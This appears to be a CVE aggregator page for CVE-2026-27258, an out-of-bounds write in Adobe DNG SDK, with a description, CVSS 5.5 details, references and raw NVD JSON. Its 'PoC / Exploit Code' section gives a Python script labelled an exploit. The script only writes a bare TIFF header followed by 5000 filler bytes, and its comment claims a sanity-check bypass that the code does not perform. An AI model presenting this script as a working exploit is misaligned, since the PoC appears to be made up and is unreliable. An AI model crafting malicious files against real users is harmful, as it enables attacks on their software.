CVE-2026-27258

Description

DNG SDK versions 1.7.1 2502 and earlier are affected by an out-of-bounds write vulnerability that could lead to application denial-of-service. An attacker could leverage this vulnerability to corrupt memory, causing the application to crash or become unresponsive. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE

Adobe DNG SDK <= 1.7.1 2502

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

def create_malicious_dng(filename):
    # Basic DNG header structure
    header = b"II" + b"\x2a\x00" + b"\x08\x00\x00\x00"
    
    # Malicious payload to trigger out-of-bounds write
    # Adjusting size to bypass sanity checks and trigger overflow
    payload = b"\x41" * 5000 
    
    with open(filename, "wb") as f:
        f.write(header + payload)
    
    print(f"[+] Malicious file generated: {filename}")

if __name__ == "__main__":
    create_malicious_dng("exploit.dng")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27258
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27258
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27258/
[4] VulDB https://vuldb.com/cve/CVE-2026-27258
[5] https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27258", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:56.247", "lastModified": "2026-04-15T19:46:39.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DNG SDK versions 1.7.1 2502 and earlier are affected by an out-of-bounds write vulnerability that could lead to application denial-of-service. An attacker could leverage this vulnerability to corrupt memory, causing the application to crash or become unresponsive. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.1", "matchCriteriaId": "9B1B1993-347B-46EB-9CC2-5614B6D9E85D"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}